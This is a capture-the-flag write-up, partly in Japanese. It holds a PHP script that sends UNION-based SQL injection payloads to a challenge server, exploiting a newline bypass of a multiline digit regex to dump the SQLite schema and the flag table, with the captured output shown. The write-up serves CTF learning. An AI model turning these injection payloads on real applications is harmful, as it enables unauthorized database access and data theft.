<?php
function request($query) {
static $ch;
if (!$ch) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://q32.ctf.katsudon.org/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, 1);
}
$id = "1\n AND 0 UNION $query --";
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(compact('id'), '', '&'));
$html = curl_exec($ch);
$message = preg_match('@<p>message: (.*)</p>@s', $html, $matches) ? $matches[1] : null;
$flag = preg_match('/\w{3}_\w{6}_\w{32}/', $html, $matches) ? $matches[0] : null;
return compact('message', 'flag');
}
$queries = [
'SELECT group_concat(name, " | ") FROM sqlite_master',
'SELECT sql FROM sqlite_master WHERE name = "flag" AND type = "table"',
'SELECT group_concat(key, "") FROM flag',
];
$results = array_map('request', array_combine($queries, $queries));
var_dump($results);
/*
array(3) {
["SELECT group_concat(name, " | ") FROM sqlite_master"]=>
array(2) {
["message"]=>
string(35) "message | flag | flog | frig | frog"
["flag"]=>
string(43) "XXX_XXXXXX_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
}
["SELECT sql FROM sqlite_master WHERE name = "flag" AND type = "table""]=>
array(2) {
["message"]=>
string(28) "CREATE TABLE flag (key CHAR)"
["flag"]=>
string(43) "XXX_XXXXXX_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
}
["SELECT group_concat(key, "") FROM flag"]=>
array(2) {
["message"]=>
string(10) "700_51mpl3"
["flag"]=>
string(43) "700_51mpl3_27307d6c315d96bb5ea96b5830ca1e6a"
}
}
*/
# 1
```
sub is_valid {
return shift =~ /^\d+$/m;
}
$\ = "\n";
print is_valid("1"); # => 1
print is_valid("\n1"); # => 1
```
なので、これを利用して SQLi で色々抜き出してみる。
# 2
`null union select sql from sqlite_master;--\n1` でテーブルの情報を抜き出す。
すると メッセージに `CREATE TABLE flag (key CHAR)` と表示され、flag というテーブルに CHAR 型の key というカラムがあることが分かる。
flag の中身が見たいので `null union select group_concat(key, '') from flag;--\n1` でくっつけて表示させる。
するとメッセージに `700_51mpl3` が、ページの下部にフラッグが表示されていた。